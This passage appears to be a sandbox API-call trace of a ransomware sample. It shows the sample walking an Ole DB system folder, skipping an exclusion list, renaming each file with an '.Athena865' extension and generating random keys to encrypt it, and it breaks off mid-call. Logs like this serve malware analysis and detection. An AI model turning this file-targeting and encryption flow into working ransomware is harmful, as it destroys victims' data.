(lpString1="oledb32.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2=".") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="..") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="windows") returned -1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="bootmgr") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="temp") returned -1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="pagefile.sys") returned -1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="boot") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="ids.txt") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="ntuser.dat") returned 1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="perflogs") returned -1 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2="MSBuild") returned 1 [0119.143] lstrlenW (lpString="oledb32.dll") returned 11 [0119.143] lstrcpyW (in: lpString1=0x241e8a0, lpString2="oledb32.dll" | out: lpString1="oledb32.dll") returned="oledb32.dll" [0119.143] lstrlenW (lpString="oledb32.dll") returned 11 [0119.143] lstrlenW (lpString="Athena865") returned 9 [0119.143] lstrcmpiW (lpString1="edb32.dll", lpString2="Athena865") returned 1 [0119.143] lstrlenW (lpString=".dll") returned 4 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2=".dll") returned 1 [0119.143] lstrlenW (lpString=".lnk") returned 4 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2=".lnk") returned 1 [0119.143] lstrlenW (lpString=".ini") returned 4 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2=".ini") returned 1 [0119.143] lstrlenW (lpString=".sys") returned 4 [0119.143] lstrcmpiW (lpString1="oledb32.dll", lpString2=".sys") returned 1 [0119.143] lstrlenW (lpString="oledb32.dll") returned 11 [0119.143] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.Athena865") returned 65 [0119.144] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.athena865"), dwFlags=0x1) returned 1 [0119.144] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.145] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1101824) returned 1 [0119.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.145] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.146] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.146] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.146] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d300, lpName=0x0) returned 0x154 [0119.147] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d300) returned 0x2d50000 [0119.179] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.180] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.180] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.181] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.181] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0119.190] CloseHandle (hObject=0x154) returned 1 [0119.190] CloseHandle (hObject=0x17c) returned 1 [0119.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.195] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="..") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="windows") returned -1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="bootmgr") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="temp") returned -1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="pagefile.sys") returned -1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="boot") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ids.txt") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="ntuser.dat") returned 1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="perflogs") returned -1 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2="MSBuild") returned 1 [0119.195] lstrlenW (lpString="oledb32r.dll") returned 12 [0119.195] lstrcpyW (in: lpString1=0x241e8a0, lpString2="oledb32r.dll" | out: lpString1="oledb32r.dll") returned="oledb32r.dll" [0119.195] lstrlenW (lpString="oledb32r.dll") returned 12 [0119.195] lstrlenW (lpString="Athena865") returned 9 [0119.195] lstrcmpiW (lpString1="db32r.dll", lpString2="Athena865") returned 1 [0119.195] lstrlenW (lpString=".dll") returned 4 [0119.195] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".dll") returned 1 [0119.195] lstrlenW (lpString=".lnk") returned 4 [0119.196] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".lnk") returned 1 [0119.196] lstrlenW (lpString=".ini") returned 4 [0119.196] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".ini") returned 1 [0119.196] lstrlenW (lpString=".sys") returned 4 [0119.196] lstrcmpiW (lpString1="oledb32r.dll", lpString2=".sys") returned 1 [0119.196] lstrlenW (lpString="oledb32r.dll") returned 12 [0119.196] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.Athena865") returned 66 [0119.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.athena865"), dwFlags=0x1) returned 1 [0119.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledb32r.dll.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledb32r.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.197] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81920) returned 1 [0119.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.197] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.198] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.198] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.198] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14300, lpName=0x0) returned 0x154 [0119.202] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14300) returned 0x100000 [0119.205] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.206] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.206] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.206] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.206] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.207] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.207] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.207] CloseHandle (hObject=0x154) returned 1 [0119.207] CloseHandle (hObject=0x17c) returned 1 [0119.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.208] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.208] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".") returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="..") returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="windows") returned -1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="bootmgr") returned 1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="temp") returned -1 [0119.208] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="pagefile.sys") returned -1 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="boot") returned 1 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ids.txt") returned 1 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="ntuser.dat") returned 1 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="perflogs") returned -1 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="MSBuild") returned 1 [0119.209] lstrlenW (lpString="oledbjvs.inc") returned 12 [0119.209] lstrcpyW (in: lpString1=0x241e8a0, lpString2="oledbjvs.inc" | out: lpString1="oledbjvs.inc") returned="oledbjvs.inc" [0119.209] lstrlenW (lpString="oledbjvs.inc") returned 12 [0119.209] lstrlenW (lpString="Athena865") returned 9 [0119.209] lstrcmpiW (lpString1="dbjvs.inc", lpString2="Athena865") returned 1 [0119.209] lstrlenW (lpString=".dll") returned 4 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".dll") returned 1 [0119.209] lstrlenW (lpString=".lnk") returned 4 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".lnk") returned 1 [0119.209] lstrlenW (lpString=".ini") returned 4 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".ini") returned 1 [0119.209] lstrlenW (lpString=".sys") returned 4 [0119.209] lstrcmpiW (lpString1="oledbjvs.inc", lpString2=".sys") returned 1 [0119.209] lstrlenW (lpString="oledbjvs.inc") returned 12 [0119.209] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.Athena865") returned 66 [0119.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.athena865"), dwFlags=0x1) returned 1 [0119.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.211] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9804) returned 1 [0119.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.211] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.212] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.212] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.212] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2950, lpName=0x0) returned 0x154 [0119.214] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2950) returned 0x100000 [0119.215] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.216] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.216] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.216] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.216] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.216] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.216] CloseHandle (hObject=0x154) returned 1 [0119.217] CloseHandle (hObject=0x17c) returned 1 [0119.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.217] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.217] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="..") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="windows") returned -1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="bootmgr") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="temp") returned -1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="pagefile.sys") returned -1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="boot") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ids.txt") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="ntuser.dat") returned 1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="perflogs") returned -1 [0119.217] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="MSBuild") returned 1 [0119.217] lstrlenW (lpString="oledbvbs.inc") returned 12 [0119.217] lstrcpyW (in: lpString1=0x241e8a0, lpString2="oledbvbs.inc" | out: lpString1="oledbvbs.inc") returned="oledbvbs.inc" [0119.218] lstrlenW (lpString="oledbvbs.inc") returned 12 [0119.218] lstrlenW (lpString="Athena865") returned 9 [0119.218] lstrcmpiW (lpString1="dbvbs.inc", lpString2="Athena865") returned 1 [0119.218] lstrlenW (lpString=".dll") returned 4 [0119.218] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".dll") returned 1 [0119.218] lstrlenW (lpString=".lnk") returned 4 [0119.218] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".lnk") returned 1 [0119.218] lstrlenW (lpString=".ini") returned 4 [0119.218] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".ini") returned 1 [0119.218] lstrlenW (lpString=".sys") returned 4 [0119.218] lstrcmpiW (lpString1="oledbvbs.inc", lpString2=".sys") returned 1 [0119.218] lstrlenW (lpString="oledbvbs.inc") returned 12 [0119.218] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.Athena865") returned 66 [0119.218] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), lpNewFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.athena865"), dwFlags=0x1) returned 1 [0119.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.Athena865" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0119.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9975) returned 1 [0119.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0119.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5390e0 [0119.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0119.220] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0119.220] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0119.220] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.220] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2a00, lpName=0x0) returned 0x154 [0119.222] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2a00) returned 0x100000 [0119.223] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0119.223] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0119.223] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0119.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538ff0 [0119.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538ff0 | out: hHeap=0x4f0000) returned 1 [0119.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552140 [0119.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0119.224] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552140 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0119.224] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0119.224] CloseHandle (hObject=0x154) returned 1 [0119.224] CloseHandle (hObject=0x17c) returned 1 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5390e0 | out: hHeap=0x4f0000) returned 1 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0119.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0119.225] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2=".") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="..") returned 1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="windows") returned -1 [0119.225] lstrcmpiW (lpString1="sqloledb.dll", lpString2="bootmgr") returned 1 [0119.225] lstrcmpiW 